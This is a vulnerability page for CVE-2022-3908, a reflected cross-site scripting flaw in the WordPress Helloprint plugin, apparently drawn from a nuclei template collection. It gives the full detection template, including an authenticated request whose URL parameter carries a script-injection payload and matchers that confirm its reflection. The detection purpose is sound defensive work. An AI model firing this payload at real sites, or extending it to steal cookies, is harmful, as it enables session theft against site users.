CVE-2022-3908· helloprint / helloprint· CWE-79
WordPress Helloprint <1.4.7 - Cross-Site Scripting
WordPress Helloprint plugin before 1.4.7 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, potentially allowing an attacker to execute malicious scripts on the victim's browser.
Fix
Fixed in version 1.4.7.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=language-translate.php&success=added"><script>alert(`XSS`)<%2Fscript>
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "Translation added\\\"><script>alert(`XSS`)</script> successfully")Run it with nuclei: nuclei -id CVE-2022-3908 -u <target>
The full check
id: CVE-2022-3908
info:
name: WordPress Helloprint <1.4.7 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress Helloprint plugin before 1.4.7 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, potentially allowing an attacker to execute malicious scripts on the victim's browser.
remediation: Fixed in version 1.4.7.
reference:
- https://wpscan.com/vulnerability/c44802a0-8cbe-4386-9523-3b6cb44c6505
- https://wordpress.org/plugins/helloprint/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3908
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-3908
cwe-id: CWE-79
epss-score: 0.00941
epss-percentile: 0.61284
cpe: cpe:2.3:a:helloprint:helloprint:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: helloprint
product: helloprint
framework: wordpress
tags: cve,cve2022,xss,wordpress,wp-plugin,helloprint,wp,authenticated,wpscan,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=language-translate.php&success=added"><script>alert(`XSS`)<%2Fscript> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "Translation added\\\"><script>alert(`XSS`)</script> successfully")'
condition: andReferences
- https://wpscan.com/vulnerability/c44802a0-8cbe-4386-9523-3b6cb44c6505
- https://wordpress.org/plugins/helloprint/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3908
Use this check only on systems you are authorised to test. Where the data comes from